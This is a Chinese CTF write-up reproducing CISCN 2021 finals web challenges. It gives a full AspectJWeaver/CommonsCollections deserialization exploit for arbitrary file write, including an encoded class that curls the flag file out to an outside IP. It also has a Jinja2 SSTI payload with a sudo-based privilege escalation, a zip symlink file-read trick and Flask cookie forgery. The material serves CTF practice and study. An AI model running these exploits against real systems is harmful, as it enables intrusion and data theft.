ciscn2021 finnal复现

ciscn2021 finnal复现

要打国赛finnal了,把去年的题抽时间做一做。

ezj4va

虽然源码看着很多,但是链子还是不是很难的。

关于AspectJWeaver反序列化

首先来看链子,很明显还需要cc3.2依赖。

1
2
3
4
5
6
7
8
9
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

主要在于后面的链子,漏洞出发点在SimpleCache$StorableCachingMap.writeToPath()。writeToPath中key和value分别是文件名和内容。
在这里插入图片描述

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中调用了writeToPath。所以反序列化的时候触发put方法就行了。
在这里插入图片描述

这个类接受两个参数,并且方法名为put。那就可以拼接上LazyMap的链子即可
在这里插入图片描述

题目解析

拖下来源码审计,/cart/*路由下有三个子处理,挑一个看就行了
在这里插入图片描述

/cart/add最终是调用了addToCart函数。在这个函数里主动调用了put方法,并且反序列出来的cart类我们是可控的,所以直接将skuDescribe设置成SimpleCache$StorableCachingMap就行了
在这里插入图片描述

调用链变成

1
2
3
4
5
6
CartServiceImpl.addToCart() //反序列化成cart对象
Deserializer.readObject()
CartServiceImpl.addToCart()//存在put方法
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.service.impl.CartServiceImpl;
import ciscn.fina1.ezj4va.utils.Deserializer;
import ciscn.fina1.ezj4va.utils.Evil;
import javassist.CannotCompileException;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javassist.ClassPool;

public class exp1 {
public static String getCookie() throws Exception{
// 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map<String,Object> map = (Map<String, Object>) constructor.newInstance("./target/classes", 123);

Cart cart = new Cart();
cart.setSkuDescribe(map);

String oldCartStr = Deserializer.serialize(cart);

//
// Cart test= (Cart) Deserializer.deserialize(oldCartStr);
// Map skuDescribe = test.getSkuDescribe();
// System.out.println(skuDescribe.getClass().getName());

return oldCartStr;
}
public static String getData() throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException {
String fileName = "Evil.class";
byte[] exp = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
// String content = "yv66vgAAADQALQoACwAYCgAZABoIABsKABkAHAcAHQgAHggAHwgAIAoAGQAhBwAiBwAjBwAkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACUBAApyZWFkT2JqZWN0AQAeKExqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOylWBwAmAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADQAOBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEALWN1cmwgaHR0cDovLzM5LjEwNy4yMzkuMzA6MjMzMyAtRiBmaWxlPUAvZmxhZwwAKgAsAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAQAMAAAAAgABAA0ADgACAA8AAAAhAAEAAQAAAAUqtwABsQAAAAEAEAAAAAoAAgAAAAUABAAHABEAAAAEAAEAEgACABMAFAACAA8AAABEAAUAAgAAACS4AAISA7YABFe4AAIGvQAFWQMSBlNZBBIHU1kFEghTtgAJV7EAAAABABAAAAAOAAMAAAAJAAkACwAjAAwAEQAAAAQAAQAVAAEAFgAAAAIAFw==";
// byte[] exp = Base64.getDecoder().decode(content);
Cart cart = new Cart();
Map<String,Object> skuDescribe = new HashMap<>();
skuDescribe.put(fileName,exp);
cart.setSkuDescribe(skuDescribe);

String payload = Deserializer.serialize(cart);
Cart test = (Cart) Deserializer.deserialize(payload);
for(Map.Entry<String,Object> entry:test.getSkuDescribe().entrySet()){
// skuDescribe.put(entry.getKey(),entry.getValue());
System.out.println(entry.getKey());
System.out.println(entry.getValue());
}
return payload;
}
public static void test(String skus, String oldCartStr) throws Exception {
CartServiceImpl.getInstance().addToCart(skus,oldCartStr);
}
public static void main(String[] args) throws Exception{
String skus = getData();
String Cookie = getCookie();
System.out.println("String skus = " + skus);
System.out.println("String Cookie = " + Cookie);
test(skus,Cookie);
}
}

target/classes下写入Evil.class,然后反序列化这个类即可
在这里插入图片描述
发送请求
在这里插入图片描述

Patch修复

buu上环境有点问题回头再看看。

easy_python

有点脑洞和套娃,不过那个提权也不算老套感觉。

参考文档。步骤有些繁琐,不过很容易看懂。
wp1
wp2

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import html
from base64 import b64encode

# url = "http://node4.buuoj.cn:27858/{% print() %}"
# url = "http://127.0.0.1:3333/{{dict(hello=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first}}"
url = '''http://node4.buuoj.cn:27858/{%set z=request.args%}{% set p=x.__init__.__globals__[z.a] %}{% print(p.eval(z.b))%}'''
# {{dict(hello=a)|slice(1)|first|first}}
s = requests.session()

flag = bytes("#!/bin/bash\ncat /flag.txt\n" , "utf-8")
b = b64encode(b64encode(flag))
cmd1 = "echo {} > cmd.sh".format(bytes.decode(b,"utf-8"))
cmd2 = "base64 -d cmd.sh > cmd1.sh"
cmd3 = "base64 -d cmd1.sh > cmd.sh"
cmd4 = "chmod 777 cmd.sh"
cmd5 = "sudo -u dragon_lord /usr/sbin/service ../../var/www/cmd.sh"
cmd6 = "rm cmd1.sh"
cmd7 = "rm cmd.sh"
cmd8 = "cat /var/www/cmd.sh"
cmds = [eval("cmd"+str(i)) for i in range(1,8)]

for i in cmds:
params={
"a":"__builtins__",
"b":'''__import__("imp").load_source('mymod', '/usr/local/lib/python3.9/subprocess.py').Popen("{}",shell=True,stdout=-1).stdout.read()'''.format(i)
}
res = s.get(url,params=params)
print(html.unescape(res.text))
print(res.url)


Patch修复

babypython

软链接任意文件读取.
参考

首先需要读取mac地址

1
2
ln -si /sys/class/net/eth0/address link
zip --symlinks 1.zip link

然后伪造cookie即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import random

# 1.4145912447929843
# random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = "1.4145912447929843"


@app.route('/', methods=['GET'])
def index():
session['username'] = u'admin'
return ""
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=False, port=3333)

Patch修复

iiNote


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!